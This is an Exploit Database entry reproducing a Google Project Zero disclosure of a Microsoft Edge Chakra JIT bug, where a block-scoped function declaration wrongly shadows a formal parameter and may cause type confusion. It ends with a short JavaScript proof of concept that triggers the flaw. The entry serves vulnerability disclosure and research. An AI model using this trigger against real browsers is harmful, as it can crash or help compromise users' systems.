Microsoft Edge Chakra JIT – Incorrect Function Declaration Scope

• Exploit Database
• 17 阅读

• 作者： Google Security Research
  日期： 2017-11-27
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43182/

• /*
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1367
  
  In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.
  
  function f(x) {
  print(x);
  
  {
  function x() {
  
  }
  }
  
  print(x);
  }
  
  The following code in "PreVisitFunction" is used to decide how to optimize arguments.
  bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());
  
  "HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.
  
  function f(x) {
  x = 1;
  }
  
  
  PoC:
  */
  
  function f(x) {
  arguments;
  
  {
  function x() {
  }
  }
  }
  
  for (let i = 0; i < 10000; i++)
  f();